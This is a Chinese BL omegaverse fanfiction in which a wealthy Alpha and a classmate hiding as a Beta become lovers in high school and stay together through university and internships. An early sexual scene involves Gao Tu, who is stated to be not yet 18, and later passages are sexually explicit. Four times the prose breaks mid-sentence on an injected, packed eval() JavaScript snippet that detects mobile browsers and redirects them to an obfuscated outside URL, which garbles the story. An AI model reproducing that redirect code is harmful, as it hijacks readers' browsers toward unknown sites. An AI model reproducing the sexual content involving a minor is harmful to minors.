《垂涎同人-狼兔之非你不可(纯爱高甜)》 1. 第一章 沈文琅其实已经不记得这个Beta究竟是从什么时候起开始出现在自己身边的了。 回想起来,时间太过久远,在沈文琅还上学的那会儿,某一天,他一转身,突然就发现这个方方面面都很普通的Beta,已经跟着他走了很久。 最开始,他只是偶尔出现在沈文琅的视线范围内,后来不知怎么就搭上了话。 沈文琅不是那种很健谈或开朗的个性,但这个和他同届不同班的Beta性格平顺,温温吞吞的样子并不让人讨厌。于是,沈文琅没有赶他走,一直默许他跟着,就这么相处下来,一眨眼竟过了这么多年。 高途第一次见到沈文琅是在校友助学项目的宴会上,当时的他马上就要付不出学费就快要被迫辍学时,幸运地碰到了捐助同校贫困优秀学生的沈文琅。 看着台上的资助人,他像天神一样降临在他的世界,仿佛一道光出现在他黑暗的前半生里。 当他知道他们是同一届不同班的同学时,总是会忍不住贴近着这道光,给他带来安全感和力量。 高途一度想通过各种方式偿还,他化身“田螺姑娘”,总是会偷偷摸摸,默默的给沈文琅带饮料和吃食。但高途却高估了自身能力,像沈文琅这样的天之骄子怎么会吃这样普通的食物呢。即便是这样,高途仍旧控制不住自己那颗想要贴近的心,抓紧一切机会跟在沈文琅的身后。 希望不要被讨厌啊。高途想。 开心的是,沈文琅不仅没有赶他走,还一直默许他跟着,他们也慢慢的搭上了话。 沈文琅一直不明白高途为什么无时无刻都在打工,只要是高途没有出现在身后的时候,沈文琅就渐渐的开始忍不住的寻找他,他会特地绕路去到高途兼职的便利店,调查他每一个打工的地点,会开始在背后默默的关注高途,他也不知道为什么,但是只要这样做了,沈文琅就会感到莫名的心安。 直到很久之后沈文琅才知道,高途这样没日没夜的打工是因为高途的父亲输光了高途花几个学期攒下的学费,让他不得不参与计划外的工作来凑齐学费。 知道真相的时候,沈文琅心里一刺,针扎一样难受。此时的沈文琅尚未察觉,或许高途在他心里的位置,早已不同寻常。 一点一滴地,沈文琅对高途的印象从抵触、戒备转为在关键时刻有所动容,有欲望维持接触。他们几乎每天都呆在一起,高途就这样一直陪在沈文琅身边。虽然并不擅长交际,却总是一脸为难地帮沈文琅处理沾有各种Omega信息素气味的情书。 高途的父母在他十一岁时离异,由于母亲没有固定收入,又带走了年幼的妹妹,高途被判给了好赌的父亲。 ABO性别分化通常发生在儿童期,大部分在六岁至七岁之间,但高途的分化发生得很晚,直到十一岁暑假他才迎来了人生中初次分化的发热期。 与母亲分别时,正值高途发热期尾声。母亲用注射器把信息素抑制剂推进他的静脉里,又给他塞了一大包抑制剂药片,叮嘱他:“高途,妈妈要走了,你才刚分化成Omega不久,可惜有许多事妈妈没办法一一教你,但是有一点你一定要记住,绝对不能让人知道你是Omega。” 高途懵懂地看着母亲因为痛苦而发红的眼睛,伸手替她擦眼泪。 母亲哭得更厉害了:“高途,你爸爸是畜生,为了钱他会卖老婆卖儿子!你绝对不能让他知道你是Omega,听到没有?你答应妈妈!说你会保守这个秘密!说啊!你说啊!” 高途被母亲抓得很疼,眼泪涌出来,点头答应她:“我会保守秘密!妈妈你不要哭。” 母亲用力抱住他,似要将他揉回自己身体,眼泪浸湿了他的T恤:“高途,你一定记得你是Beta,你是个Beta......” 高途痛苦的回忆着妈妈离开的那天,在追随沈文琅的这些日子里,为了不让沈文琅发现任何端倪,高途使用抑制剂药片和抑制剂注射液的频率和剂量都增加到了以前的两倍。 上周四,他刚去看过医生,由于长期滥用信息素抑制剂,不久前他出现了信息素紊乱的早期症状,发热期变得不稳定。 高途马上就要18岁了,正是血气方刚的年纪,那是一种无法掩藏的青春冲动,像未经雕琢的火石,一碰就燃。 临近高中毕业,高途的发热期愈发不稳定,为了不让自己陷入麻烦,他向老师请了半个月的假来调整。痛苦一阵一阵袭来,外面的世界喧嚣不息,而他只能把自己困在这片寂静里,一个人与疼痛对峙。 三天,高途已经三天没有出现了,沈文琅从第一天在他们班里同学那里得知高徒生病的消息后,就在等待高途什么时候回来,但是现在已经三天了,高途没有手机,买给他又不肯收。现在好了,他都不知道要怎么才能跟他保持联络。 沈文琅越来越暴躁,气压低到即便是身边没有了那个讨人厌的beta尾巴,也没有omega敢上前来搭讪。 第五天,依旧没有高途的身影,沈文琅感觉自己焦躁中带着不安、愤怒中夹杂着空虚。 他开始迫不及待的想要知道高途到底去哪了,到底在干什么,为什么还没有出现在他的身边。他感觉自己快要爆炸了,他去了高途每一个打工的地方,得到的回答无一例外都是高途请了长假。 他到底在哪里呢,沈文琅打通了管家的电话,不出多久,就查到了高途居住的出租屋的位置。沈文琅立刻让司机开车奔向那个可能见到高途的地方。 此时的高途,正处于发热高峰期,情绪不稳定、体温高、信息素爆发、□□强烈…… 通常这种情况1-3天内就会缓解,不知道是不是因为到了年纪的缘故,这次发热期前所未有的长,抑制剂收效甚微,他痛苦地、绝望地看着天花板,期望这来势汹汹的发热期赶紧结束,他也想早点见到自己一眼万年的暗恋的那个人。 “高途,高途,你在家吗?” 突然门外传出敲门声,紧接着——这是沈文琅的声音! 高途的心猛地揪紧。家里满是深沉的鼠尾草气息沉淀出的微苦而又温和的信息素气味。沈文琅厌恶omega,深恶痛绝,他该怎么办,大脑一片空白麻木到了极点,他一下子不知道自己该干什么,是不是应该躲起来还是…… 门外的沈文琅,闻着屋里飘来的一阵一阵的鼠尾草的气息。 高途不应该是Beta吗,为什么家里会有Omega的味道?难道?!各种猜测各种怀疑各种可能在沈文琅的大脑中碰撞迸发,在没看到高途前,什么都不要猜,沈文琅及时的控制住了自己蔓延的思绪,使劲撞开了房门。 此时他看到自己心心念念的人正痛苦的躺在床的正中央,五天没见高途的脸都瘦出了棱角,本就纤细的手腕骨节突出。憔悴的模样,感觉像是这几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256477|182072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天完全没有进食,沈文琅的心一下子说不清的疼痛。 他把高途抱在怀里,但是却只感受到高途剧烈的颤抖。 完了,一切都晚了,他发现了,我们还能像以前一样相处么。 高途颤抖着发出微弱的声音:“对不起,我不是故意欺骗你……我其实是Omega……如果我不隐藏自己的性别,我可能早就被我爸爸卖掉了……对不起对不起对不起……” 沈文琅轻轻的擦拭着高途的眼泪,认真地看着他的眼睛说道:“为什么要说对不起。我现在只庆幸,我在门外闻到的Omega气息是你,而不是其他什么人在你家。” “鼠尾草味,很好闻。” 高途难以置信地睁大双眸,此刻他没戴眼镜,平时稍显呆板的眼睛原来竟如小鹿般澄澈动人,沈文琅没忍住在那蝶翼般颤抖着的眼睫落下轻轻一吻。 沈文琅慢慢向下吻去,却尝到一丝湿润的苦涩。 高途又哭了,两行清泪顺着脸颊滑落,连哭都这么安静。 沈文琅看得也想哭了,他侧身上了床把人拥在怀里,下巴搁在那人的发顶,温暖有力的手掌一下一下抚着高途还在细细颤抖的后背。 “不哭了,我们小兔子不哭了,我在呢。” 高途渐渐呜咽出声,突然扭了扭身子把脸埋进沈文琅胸口揪着初长成人的少年的衣襟,深藏的爱恋和自出生来的委屈再也抑制不住。 “我喜欢你。” 身前传来蚊蝇般的轻喃,却使沈文琅胸口大震。 他不自觉收紧手臂,直到怀里传来吃痛的轻哼。 “你说什么,高途,你说什么?” “我喜欢你,沈文琅,我说我喜欢你!” 似是破釜沉舟一般,高途死死揪住沈文琅的衣服,头低到不能再低,带着哭腔和绝望,如困兽发出最后的悲鸣,继而仿佛失了所有气力,声音渐渐低下去,但嘴里还在低喃着。 “我喜欢你。” “我喜欢你啊。” 高途等不到回应,心如同被掏了个大洞,正在他做好被沈文琅怒斥着丢到床下时,突然被人翻过了身。 激烈的吻如同暴雨降临,沈文琅火热的唇覆上了他的,不等厮磨几下,已被撬开齿关,一条舌头滑进了他口中。 舌尖相触,两人脑海中都仿佛炸开了烟花。 高途收紧手中的布料,不料此时沈文琅竟跪坐起来,从头把上衣脱了去,高途看着眼前半裸的少年,仿佛被按下了暂停键。 沈文琅看着这样的高途只觉得他可爱极了,从高途缩着的手里抢过衣服丢到一边,再度俯身。 两人一边接吻,有人的手已经悄悄伸进那因发热期汗湿的睡衣。 “不,不要。” 敏感的部位被不经意地触碰,高途上半身猛地弹了一下,哆嗦的更狠了。 沈文琅险些被咬到舌头也不恼,反而轻笑一声,低头更深地吻了回去。指尖悄然滑向胸前,两处早已敏感得发烫,他细细揉弄,惹得人一阵轻颤。 空气中鼠尾草的气息更浓了、 片刻后,更加浓烈霸道的鸢尾气息压制下来,两种气息在狭小的房间纠缠、混合、哀鸣,最后蹦发出湿润微腥的尾调。 屋外不知何时落了雨,又不知何时雨停了,浑圆的雨滴从被冲刷得油绿的草叶上滑落。 草叶,如获,新生。 2. 第二章 第二天高途醒来,明显感到了自己发情期被缓解,从未有过的安定充斥全身。 感受到后脖颈传来的带着鸢尾调气味的呼吸,他轻轻转过身,望着睫毛轻颤,呼吸平稳的沈文琅,那天然精致的侧脸,那种冷冽的美,宛如既亲切又遥不可及的梦。 被子轻轻起伏着,高途觉得连呼吸都带着甜软的节奏,心口里仿佛晃荡一枚温热的果冻。他在心中虔诚祈愿,希望时间暂停,永远留在这个像梦一样的时刻。 昨晚他有没有标记他? 高途努力的回想着昨夜疯狂,两个血气方刚的少年,第一次尝到情欲的滋味,年轻的身体本能地回应一切诱惑,不懂分寸,不讲道理,只有乱七八糟的呼吸和不由自主的渴望,理智完全的远远的抛在了后面。 到最后很多画面都模糊了,只记得他的气息、炽热的触碰,还有自己像失了魂一样攀着他不肯放手。仿佛又回到了几个小时前,高途身体食髓知味地发热、发软,脸红得要滴血。 忽然他像被什么烫到一样僵住了。 沈文琅已经不知道这样看了高途多久,不知是什么时候醒的,只是那眼神,静静的,带着一点温柔,又藏着点看破不说破的坏意。 就在高途慌乱得想要缩进被子里躲起来的时候,一只修长温热的手忽然伸了过来,落在了他的耳朵上。 耳尖本就红得厉害,被这一碰,几乎红到了脖子根。 “……你什么时候醒的?”他声音哑得不成样,低着头不敢看他。 沈文琅没说话,只是指尖慢慢摩挲着他的耳朵,像在把玩什么小玩意儿,眼里是不动声色的笑意。 “你回忆得挺认真。”他说。 一句话,高途的脸直接烧了起来,整个人缩进了被子里,连呼吸都带着窘迫的颤。 沈文琅轻轻一用力,将整个人还埋在被子里装鸵鸟的高途揽进怀里,像抱着一只炸毛的小动物。 他低头贴着他的发顶,声音低哑又温柔:“……小兔子不要怕,以后我一直都会在你身边。” 他抱得很紧,像在郑重其事地宣告什么。 高途愣了一下,身体不自觉地软下来,像是听到了什么通关密语,一瞬间全身的紧绷都松了。 他没问他知不知道,也没开口解释什么。 但沈文琅却什么都知道了。 他昨晚知道高途为什么伪装成Beta,知道他不想被发现,不想在校园里引起过多注视;也知道他怕自己的信息素暴露,怕给他带来麻烦。 可他不觉得麻烦。 沈文琅低头轻轻碰了碰高途的脖颈,那是腺体所在的位置,隐隐透着昨晚留下的痕迹。他低声说:“以后贴抑制贴的事我来帮你,每天出门前,我都替你贴好。” “你还是那个‘Beta’,没人会发现,也没人敢碰你。” “而我——” 他顿了顿,唇角勾起一个略带得意的笑意,“我也能借机躲掉那些Omega了,一举两得。” 高途从他怀里抬起头,脸还没退红,眼里却亮晶晶的。 “那我们可以……一直这样待在一起吗?”他声音小得像在试探,又像已经在期待肯定的答案。 沈文琅低头吻了吻他额头,轻声答道: “可以。每天都可以,名正言顺地黏在一起。” 话音刚落,客厅里突然响起一阵急促的铃声。高途怔了下,才意识到那是座机电话。他从沈文琅怀里挣脱出来,小跑过去接起。 高途走过去接起,刚“喂”了一声,电话那头立刻传来熟悉又急促的声音—— “哥?哥你终于接电话了!你还好吗?这几天你发热期有没有事?你怎么都不联系我,我真的好担心……” 是高晴。 她的声音带着压抑许久的焦急,一连串地问着,高途攥紧了话筒,一时间不知道该怎么回应,只是轻声安抚着妹妹说:“我没事,已经过去了……对不起,让你担心了。” 刚挂了高晴的电话,高途还没从那一丝心虚中缓过来,肚子倒先咕噜地叫了。 他看了一眼时间,才发现现在竟已经是——周六的下午两点多。他们俩……居然从昨晚胡闹到现在。 沈文琅一边在阳台接电话,一边朝他眨了下眼:“饭让人送过来了,快了。” 几分钟后,沈文琅的管家敲响了高途的房门,“少爷吩咐的饭菜和东西,都带来了。” “谢谢叔。”沈文琅接过食盒。 饭菜的香味慢慢散开,高途乖乖坐下吃了两口,沈文琅忽然把一个盒子放到他手边。 “这个给你。” 高途低头一看,是一部崭新的手机,那手机通体黑,边框利落,是沈文琅平时一直在用的型号。 他愣住:“这是……?” 沈文琅神情平静:“手机。和我的一样。卡我已经办好了,我的号码也存进去了。以后别再搞失联那一套,我不喜欢找不到你。” 高途一时没反应过来,只是本能地推了推手机盒:“我不是故意……” 沈文琅抬眼看他,语气不带责怪,却有种不容置喙的坚定:“我知道你不是故意的,所以这次给你准备好了。下次,不许再失联。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256478|182072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 高途怔住了,半晌没说话。高途最终没再推辞,只是轻轻“嗯”了一声,指腹缓缓抚过手机盒的边缘。 他知道沈文琅不是心血来潮。他做的任何事,从不只是表面意思。之前沈文琅就试图送给高途手机,但是他一直不肯收,但是现在,他们的关系似乎变了…… 这一顿饭,高途吃得有些走神。 刚放下筷子,沈文琅又像是随口一说道“这里你住的地方离学校也太远了吧?” 高途的手顿了一下:“还好,坐地铁半小时。” 沈文琅笑了笑,顺势将小兔子的手握在怀里,语气自然地说:“我就住在学校旁边你知道的,我那个公寓。平时就我一个人,管家只是偶尔会带人来打扫卫生,你来和我一起住吧,正好马上要申学了,我们可以一起复习,还节省你上下学的时间。” 语气不急不缓,像只是顺口一提,但高途听得出少年口中的认真。 高途慌张的抽回手拿起筷子低头扒饭,没有立刻回应。他不是没动心,只是心里微妙地拧着一根弦。他不想就这样完全依赖沈文琅,他跟沈文琅起头并进。 他也有些胆怯的,自己的生活轨迹那么轻易地被他卷进去。他想保留一点自己的节奏和边界,哪怕只是象征性的。 沈文琅看出了他的犹豫,却没再多说一句。 他没打算逼他。 小兔子嘛,急了会跳。现在不过是第一圈,他得一点一点把圈收紧。 他低头喝了一口汤,眼神不动,心思却已经悄悄开始盘算: 没关系,不来就不来。 反正早晚要来。 一步一步地,他会让这个小兔子心甘情愿地走进他设好的窝,自己关上门,再也跑不掉。 周一早高途准时出现在教室。班主任一时没反应过来,扶了扶眼镜,关切道:“高途,不是请了两周的假吗,怎么今天就回来了,身体好些了?” 高途低着头,神色平静地站定,语气一如既往地礼貌:“身体已经恢复了,想早点把落下的课补回来。” 说着,他不由自主地往教室后门的方向扫了一眼——隔壁班的教室门正虚掩着,沈文琅的位置靠窗,正好能看到他这边。 他不知道沈文琅有没有看到自己,但那一瞥像是下意识的动作,带着一丝无法掩饰的牵挂和……某种求确认般的微妙期待。 老师点点头,温和道:“有什么不懂的可以问我或者让同学帮你补笔记。” 高途轻轻应了声“谢谢”,抱着书走回自己的位置,阳光斜照进来,洒在他的校服肩头,泛着一层淡淡的光。 3. 第三章 之后的日子并没有什么不同,沈文琅身边还是跟着高途这个小跟班,但又像是哪里有些不同了。 比如沈文琅的眼神,不再像从前那样冷冽疏离,有时候望向隔壁班的方向,会悄悄带上点不自知的温柔。 又比如他那张嘴,舔一口照样能毒死自己,对谁都是照怼不误。可只要高途在旁边轻轻唤一声“沈文琅”,他就会像被什么拴住了一样,话音戛然而止,乖乖收声,连眼角都顺了几分。 这种细微的转变,大多数人察觉不到,但八卦的同学却多少嗅出点不一样的味道。 “你们不觉得,”某天午休,前排女生压低声音八卦,“沈文琅最近……好像变得有人味儿了?” “是哦。”她同桌咬着吸管,意味不明地笑了一下,“不过也不是对谁都这样,大概——也就只对高途。” 真正的不同,总是藏在别人看不见的地方。 沈文琅和高途都是脑子清楚,目标明确的人。哪怕在一起之后,学业和目标依旧被摆在最前面。直到申学考试结束前,高途都没有搬去与沈文琅同住,只是经常一起在沈文琅的公寓里复习。虽然暧昧与喜欢几乎溢出气氛,但他们却始终刻意地维持节制。 他们每天一起复习,沈文琅会在高途下班后接他回家;而高途,也早就辞去了原本的三份兼职,只留下便利店这一份轻松些的。对彼此的欲望,从不否认,却始终控制得体,至少在理智还撑得住的时候。 只有在高途的发热期,沈文琅才会不加掩饰地释放自己。他们在信息素交缠中彼此安慰,在克制之外找到一次次短暂的喘息,也在多个那样的时刻,确认对方无声的心意。 Omega的发热期通常比Alpha的冲动期更频繁。 高途的第二次发情期,恰巧落在一个周末的午后。 他窝在沈文琅怀里,懒懒地靠着胸口,腿蜷在沙发一角。两人各自翻看着复习资料,一时间气氛宁静而专注。独处时,高途从不刻意压制自己的信息素,淡淡的鼠尾草香在空气中浮动,与沈文琅的鸢尾味悄然交缠,像某种尚未点燃的引线。 就在某一刻,鼠尾草的气息猛地浓烈起来,像是骤然盛放的花。沈文琅的动作顿住,几乎在同一秒,高途手里的笔也停了下来。 两人同时沉默,室内陷入一种过分安静的状态,仿佛连窗外的风都屏住了呼吸。只剩下彼此急促跳动的心跳,在胸腔里撞出一声声沉闷的回响。 沈文琅轻轻俯身,温柔的在高途唇边轻轻碰了一下,随后又撤开。 他低头看着他,眼神像夜色一样深,不容躲闪。 “这次还怕吗?”他声音压得极低,像是在安抚,又像是诱引。 高途没说话,只是抬眼看着他,眼睛亮得像氤氲了水雾。那份安静,却比任何回应都要直白。他轻轻摇头,像是把一整颗心都递出去了。 沈文琅再度俯身,终于吻上那抹柔软。起初只是轻轻触碰,像试探,像慢慢地描摹。高途的身体轻轻颤了一下,他的手扣紧了身下的沙发边缘,不知是本能的回应还是控制不住的颤栗。 一寸一寸,沈文琅的唇从唇角到下颚,再到脖颈,像是在细细地品尝,带着一点近乎偏执的克制。 “怎么每一处都这么甜……”他呢喃着,嗓音暗哑。 高途的眼睛湿了,带着发热期的生理反应,也带着某种说不清的情绪。他睁着一双泛红的眼睛望着沈文琅,像一只失重的小兽,又像是正在被吞没的溺水者。 “别看我……”他用几乎听不见的声音低声说。 但沈文琅却偏要看,偏要在每一个让高途颤抖的瞬间,贴得更近一点。他从来不是温柔的人,却在这一刻像拥有了极致的耐心与贪念。 身体的契合几乎是天生的,像是命运提前写好的段落,一点一滴地,在气味和热度中交叠、融合。 两人的气息在夜色里交织,仿佛命运早已写好相遇的旋律。温度悄悄攀升,心跳在彼此胸腔里回响;每一次贴近,都像微光汇聚,驱散漫长黑暗。 高途轻轻咬唇,眼角映出朦胧水光,却还是循着那份安定一步步靠近;在沈文琅低哑的安抚中,他找到了独属于自己的归处。 窗外的风掠过帘角,屋内却静得只剩呼吸相融,像两颗漂泊许久的心,终于落在同一个节拍里,带着一点微痛,却又柔软而甜。 直到申学考试落幕,他们终于顺理成章地考入了同一所大学。那本就是两人各自的目标,也是他们以实力抵达的归处。而那些曾经的隐忍、靠近与心照不宣,不再只是青春里的秘密,而是未来共同的人生。 高中毕业后,高途以优秀毕业生的身份受到班主任的推荐进入江沪的一家龙头生物制药企业企划部实习,沈文琅则已经开始着手创业的前期工作,常常往返于江沪与P国之间。他创立的“HS集团”也正是在这段时间悄然萌芽,五年后成为江沪商界无人不晓的知名企业。 实习正值暑假。这天下午,高途正坐在企划部的工位上,一边敲着项目报告,一边忍受着令人昏沉的燥热。外头阳光正烈,即便整栋写字楼开着空调,也驱不散空气里那股逼人的闷意。 这段时间,沈文琅又一次飞去了P国,为公司的业务奔波在外。高途时常想,自己到底能不能为他做点什么。可现实是,他还太嫩,帮不上什么忙。小兔子缩着脖子继续伏在桌前,只能把这份心思藏在心里,他想,至少,别添乱,别成为他的负担,就已经是最大的努力了。 忙了一阵,他起身舒展了下酸胀的肩膀,准备去休息露台透透气。刚走出企划部的大门,手腕忽然一紧,被一只熟悉的大手轻轻拉住,还没来得及反应,整个人便已被拽进了旁边的休息室。 空气里迅速弥漫出淡淡的鸢尾香,不用回头看,高途已经知道是谁。 “你怎么来了?不是说下周三才回来吗……哎,别乱摸,这是公司。”他的声音压得极低,脸颊也迅速烧了起来。 “当然是来看你。”沈文琅低笑,“顺便谈点合作。” 沈文琅刚踏进公司大门,便开始不动声色地在人群中搜寻那道熟悉的身影。他外表一贯冷静从容,但心里的情绪早已翻涌,直到透过玻璃隔窗看见高途的那一刻,他的目光便再也挪不开了。 校服时代的高途少年感十足,现在换上剪裁利落的西装,脸颊仍留着青涩的线条,却掩不住那份未经雕琢的美感。锁骨在微敞的领口间若隐若现,像是精心设计的引诱,而那双专注看屏幕的眼睛,哪怕只是一瞥,都足以让沈文琅心跳微乱,呼吸一滞。他按捺着冲动,却几乎要克制不住。 说话间, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256479|182072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他已经将高途轻轻抵在墙边,俯下身细细吻住了那张想了太久的唇。他吻得越来越深,手也不安分地游移起来,绕过高途的腰,贴近他耳后腺体的那一点柔软。 “小兔子,这里还贴着抑制贴啊……什么时候换的?” 高途下意识抬手抵在他胸前,像是想推开,却最终只是轻轻抓住了他衬衫的一角。他的睫毛微颤,眼角不自觉地泛了些红,并非不愿,而是太过熟悉沈文琅的节奏,怕再多一分,就真的要误了工作。 “别闹……”他轻轻喘着,“真的会出事的。” 沈文琅闻言才慢慢收了力道,只是轻吻了一下他泛红的耳尖,低声说:“那就乖乖去上班,晚上见。” 高途赶紧整理好衣服,拍了拍被捏皱的西装下摆,又摸了摸自己发烫的脸。他一推门出去,便撞上了部门那个一向刻薄的主管。 对方瞥见高途,立刻拧起眉头,阴阳怪气道:“哟,高同学身体还真是娇贵,这么热的天,一个人躲在这里消遣呢?你是忘了企划部的工作纪律,还是觉得实习生就能特殊对待?” 话音未落,身后休息室的门被人推开。脚步声沉稳清晰,沈文琅从容走出,站到高途身侧,眼神淡漠地扫了那主管一眼,唇角轻轻勾起一抹若有若无的讽意: “原来你们公司执行纪律的方式,是靠蹲在休息室门口堵人发难?这一套倒挺别致。” 他语调极稳,没有任何起伏,却像冰水泼脸,每一字都透着不容置喙的压迫。 “高途从工位离开不到十分钟,你就守在这儿等着点名。是职责心太重,还是时间太多,闲得连别人活动轨迹都要过问?” 他垂眸扫了主管一眼,像是在打量某种不够格的商品,“我来谈合作,刚进门看到这种场面,不知道的还以为进了哪家管教所。” 主管脸色瞬间一阵青一阵白,嘴角抽了抽,试图辩解,却被沈文琅不动声色地打断: “你对员工要求这么严,想必自己每天工作效率也高得惊人?要不要把你这几个月的绩效也一并调出来,我顺便看看。” 气氛陡然一紧,主管站在原地,手指不自觉地收紧成拳。他还没搞清楚眼前这个人到底什么身份,却已经被那股天生的压迫感逼得一句话也说不出口。 沈文琅像是懒得再多浪费口舌,冷冷一笑,转头看了眼高途,又收回视线,语气平静得近乎讽刺“我一向尊重合作方的企业文化,但现在看起来——”他顿了顿,似笑非笑地收回目光,“有些文化,确实需要重塑。” 高途在他身后轻轻扯了下他衣角,低声唤:“沈文琅……别说了。” 他立刻收了火气,眸光一敛。 他没理会主管,转身坐回接待区,态度重新回归冷静利落。 就在这时,负责接待的副总匆匆赶到,神情一看就知道察觉到了气氛不对:“沈总,实在抱歉,是我们安排上的疏漏……没想到您会提前到。” 说完,他目光落在高途身上,忍不住一愣:“你们……认识?” 沈文琅淡声道:“认识。”语调平静,没有解释,也不需要解释。 从那天起,高途的暑期实习变得格外顺利。没有人再当着他的面说风凉话,更没人在背后掣肘他的工作。就像有一层无形的屏障,把他护在了所有风浪之外。 4. 第四章 大学前的暑假漫长又短暂,一转眼就迎来了开学。可沈文琅反而比暑假时更忙了些。他和高途一同参加了迎新会,课还没上满两周,就又匆匆飞回了P国。高途听他说,是要开始在江沪购置新的办公楼和实验室,准备就地招人,把一部分和P国合作的项目逐步转移回来。 最初高途喜欢沈文琅,只是因为他太过优秀,太过耀眼。那种与生俱来的自信与锋芒,让一向默默无闻的高途忍不住仰望。他不是没见过聪明的人,可沈文琅总像是站在光里,鹤立鸡群而不自知,轻而易举地撩动他藏得很深的羡慕与好奇。久而久之,那份仰望里也掺进了几分不自觉的私心,他开始渴望靠近,甚至想占有。现在人已经在自己身边了,夜里会吻他、抱他、喊他的名字,可高途偶尔还是会忍不住想这一切,会不会只是场太过真实的梦。 沈文琅缺课时,高途总会把每一节笔记记得工工整整,考试重点单独整理出来,打印成页码清晰的文档放在他桌上。排班表高途打印了两份分别贴在便利店和公寓的墙上,像某种重复编排过的时间机制,把他一整天塞得严严实实,也勉强能挡住一些沈文琅不在身边时的空落。他没说过想念,但抬头看钟的时候,数字总在提醒他,这个时间点,沈文琅应该还没落地,又或者,快该打来电话了。 沈文琅从未错过高途的发热期。无论工作多忙、航班多晚,他总能准时现身江沪,身上带着一缕温润的鸢尾香,轻轻将高途揽入怀中。陪伴着他度过那段灼热而脆弱的时光,待热度渐退,他又匆匆飞回那堆琐碎又紧凑的日程里。 高途总是心疼他,很多次都和沈文琅说没关系的,偶尔靠抑制剂就能熬过去。他不忍看沈文琅这样劳累奔波,可沈文琅却甘之如饴,沈文琅舍不得,也根本不愿意。每当看到发热期里高途脸上被烧得通红,像只惊慌的小兔子,他的欲望便如洪水般无法控制。他无时无刻不想用力揉搓、吮吸、吻遍每一处被爱染红的肌肤,把高途揉进自己的身体和灵魂里。 不过确实也是,自从上了大学后的沈文琅,不知是彻底挣脱了束缚,还是年轻气盛,又或是在学业和工作的双重压力下,他的□□似乎变得愈发旺盛。有好几次,忙完回家的沈文琅像脱缰的野兽般将高途扑倒在床,狂热而缠绵,生怕错过任何一寸的触感,两人间的气息混合着汗水与体温,热烈得几乎让时间凝滞。好几次,两人还沉浸在尚未清理的狼藉中,沈文琅的手机就急促响起,沈文琅便一边穿衬衣一边接电话,一边低头吻额头还残留着细细汗珠的高途匆忙离开。而高途也急急忙地去便利店打工,于是有同学发现经常会看到勤工俭学的高同学木着一张脸,两颊泛红,他们挑选着商品窃窃私语同情高同学发着烧还来打工,却不知道高途在柜台后面两腿频频发软,时而不自觉地收缩内里,仿佛在阻挡那些尚未排出的温热残留。素来吃学校食堂,节省从不乱买东西的高同学,却经常会在关店的时候默默扫走几盒高端品牌的安全套,是那种沈文琅最喜欢最常用的款式。 时间一晃三年,每年的暑假高途都会去江沪的大型生物科技企业实习,他跟着项目组做实验、分析数据、跑方案。在一次又一次实操中,他积累了经验,也磨出了对产业链上下游的敏锐嗅觉。在企业内部,他从最初的协助角色,逐步成长为在小组会议上能够独立陈述方案、提出优化建议的骨干员工,他的成熟不仅体现在业务能力的稳步提升,更体现在面对复杂任务时的冷静判断与条理性思维,成为了一个拥有明确职业目标的准行业人才。 高途始终明白,自己起点平凡,唯一能做的,就是用加倍的努力去缩短与沈文琅之间的差距。他渴望有一天,能够以专业实力与成熟心智站在那个自己爱的人身边,成为能真正分担其压力与责任的存在,而不仅仅是被爱与被保护的一方。 他默默奔跑,悄悄成长,这一切,沈文琅也都尽数看在眼里,看得清楚,却从不干预。他尊重高途的每一个决定,哪怕那些选择会让他更辛苦。沈文琅只是坚定不移地支持着,像一道无声却坚实的力量,一直在他背后,随时准备着为他挡风,为他托底。 大三的暑假转眼就快结束了。这天,沈文琅回到他们的公寓,脸上带着难掩的喜悦对高途说:“小兔子,我们很快就不会再分开那么久了。” 高途的眼睛瞬间闪了起来,像是点燃了希望的火花。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256480|182072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 沈文琅继续说道:“我已经把P国的项目差不多都转移过来了,从明年开始,我会长期在江沪发展。” 他温柔地看着高途,眼神里满是期待,“小兔子,你愿意来我身边吗?” 